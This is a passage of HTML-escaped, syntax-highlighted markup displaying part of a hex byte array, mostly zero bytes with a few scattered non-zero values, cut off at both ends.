#BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;75&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;  0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;48&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;  0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;68&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;  0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;59&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;  0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;75&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;  0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;47&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;74&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;  0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;54&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;  0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;33&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;  0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;46&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;  0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;41&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;5F&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;  0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;53&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: 